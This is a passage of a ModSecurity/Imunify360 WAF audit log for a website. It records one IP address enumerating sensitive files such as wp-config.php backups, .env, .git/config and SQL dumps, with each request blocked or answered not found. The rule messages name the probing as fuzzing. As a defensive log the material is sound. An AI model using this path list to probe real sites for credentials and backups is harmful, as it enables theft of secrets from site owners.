Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZr-0wu1RSkptiiNIX4agAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789291519160348 59549 (- - -)
Stopwatch2: 1789291519160348 59549; combined=57010, p1=476, p2=56051, p3=0, p4=0, p5=483, sr=235, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b7435307-Z--

--9e6f6d18-A--
[13/Sep/2026:12:25:55.333826 +0300] aqZsI2M7dE9KgIIOpQh0sQAAAMg 36.77.210.5 51000 127.0.0.1 7081
--9e6f6d18-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--9e6f6d18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9e6f6d18-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZsI2M7dE9KgIIOpQh0sQAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZsI2M7dE9KgIIOpQh0sQAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789291555270929 62939 (- - -)
Stopwatch2: 1789291555270929 62939; combined=61496, p1=271, p2=60910, p3=0, p4=0, p5=314, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9e6f6d18-Z--

--1c872d28-A--
[13/Sep/2026:12:26:16.102604 +0300] aqZsOGM7dE9KgIIOpQh0uAAAANg 36.77.210.5 46390 127.0.0.1 7081
--1c872d28-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--1c872d28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1c872d28-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-26.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZsOGM7dE9KgIIOpQh0uAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-26.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZsOGM7dE9KgIIOpQh0uAAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789291576032802 69927 (- - -)
Stopwatch2: 1789291576032802 69927; combined=59806, p1=943, p2=57796, p3=0, p4=0, p5=1066, sr=781, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1c872d28-Z--

--498d2659-A--
[13/Sep/2026:12:26:21.752677 +0300] aqZsPUwu1RSkptiiNIX4dAAAAIA 36.77.210.5 46402 127.0.0.1 7081
--498d2659-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--498d2659-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--498d2659-E--

--498d2659-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqZsPUwu1RSkptiiNIX4dAAAAIA"]
Stopwatch: 1789291581746089 6649 (- - -)
Stopwatch2: 1789291581746089 6649; combined=4768, p1=301, p2=4336, p3=78, p4=8, p5=45, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--498d2659-Z--

--d2b8ec0b-A--
[13/Sep/2026:12:26:30.625929 +0300] aqZsRkwu1RSkptiiNIX4eQAAAIM 36.77.210.5 39718 127.0.0.1 7081
--d2b8ec0b-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--d2b8ec0b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d2b8ec0b-E--

--d2b8ec0b-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqZsRkwu1RSkptiiNIX4eQAAAIM"]
Stopwatch: 1789291590612393 13594 (- - -)
Stopwatch2: 1789291590612393 13594; combined=9322, p1=317, p2=8832, p3=122, p4=9, p5=42, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d2b8ec0b-Z--

--dcc7af5b-A--
[13/Sep/2026:12:27:00.357251 +0300] aqZsZDTJ6xTvcJoem7f6twAAAFQ 36.77.210.5 43556 127.0.0.1 7081
--dcc7af5b-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--dcc7af5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dcc7af5b-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-27.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZsZDTJ6xTvcJoem7f6twAAAFQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-27.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZsZDTJ6xTvcJoem7f6twAAAFQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789291620295876 61417 (- - -)
Stopwatch2: 1789291620295876 61417; combined=59398, p1=939, p2=58164, p3=0, p4=0, p5=294, sr=774, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dcc7af5b-Z--

--7b62922a-A--
[13/Sep/2026:12:27:06.546705 +0300] aqZsajTJ6xTvcJoem7f6uAAAAEk 36.77.210.5 42130 127.0.0.1 7081
--7b62922a-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7b62922a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7b62922a-E--

--7b62922a-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqZsajTJ6xTvcJoem7f6uAAAAEk"]
Stopwatch: 1789291626528546 18209 (- - -)
Stopwatch2: 1789291626528546 18209; combined=5447, p1=361, p2=4957, p3=74, p4=8, p5=46, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7b62922a-Z--

--2369ed58-A--
[13/Sep/2026:12:27:08.132646 +0300] aqZsbEwu1RSkptiiNIX4ewAAAI4 36.77.210.5 42160 127.0.0.1 7081
--2369ed58-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--2369ed58-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2369ed58-E--

--2369ed58-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqZsbEwu1RSkptiiNIX4ewAAAI4"]
Stopwatch: 1789291628126843 5866 (- - -)
Stopwatch2: 1789291628126843 5866; combined=4399, p1=271, p2=4006, p3=73, p4=8, p5=41, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2369ed58-Z--

--6e7fe96b-A--
[13/Sep/2026:12:28:03.338875 +0300] aqZsozTJ6xTvcJoem7f6uQAAAEY 36.77.210.5 58892 127.0.0.1 7081
--6e7fe96b-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--6e7fe96b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6e7fe96b-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZsozTJ6xTvcJoem7f6uQAAAEY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZsozTJ6xTvcJoem7f6uQAAAEY"]
Action: Intercepted (phase 2)
Stopwatch: 1789291683275191 63730 (- - -)
Stopwatch2: 1789291683275191 63730; combined=59452, p1=341, p2=58735, p3=0, p4=0, p5=376, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e7fe96b-Z--

--6c67457a-A--
[13/Sep/2026:12:28:14.291044 +0300] aqZsrmM7dE9KgIIOpQh0zwAAAMo 36.77.210.5 42712 127.0.0.1 7081
--6c67457a-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--6c67457a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6c67457a-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZsrmM7dE9KgIIOpQh0zwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZsrmM7dE9KgIIOpQh0zwAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291694229050 62038 (- - -)
Stopwatch2: 1789291694229050 62038; combined=60473, p1=274, p2=59852, p3=0, p4=0, p5=347, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c67457a-Z--

--3ad2ba5f-A--
[13/Sep/2026:12:28:20.045290 +0300] aqZss2M7dE9KgIIOpQh00QAAANE 36.77.210.5 33408 127.0.0.1 7081
--3ad2ba5f-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--3ad2ba5f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3ad2ba5f-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZss2M7dE9KgIIOpQh00QAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZss2M7dE9KgIIOpQh00QAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789291699988470 56872 (- - -)
Stopwatch2: 1789291699988470 56872; combined=55300, p1=379, p2=54531, p3=0, p4=0, p5=390, sr=202, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ad2ba5f-Z--

--77556677-A--
[13/Sep/2026:12:28:53.526835 +0300] aqZs1WM7dE9KgIIOpQh01QAAAMA 36.77.210.5 44564 127.0.0.1 7081
--77556677-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--77556677-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--77556677-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZs1WM7dE9KgIIOpQh01QAAAMA"]
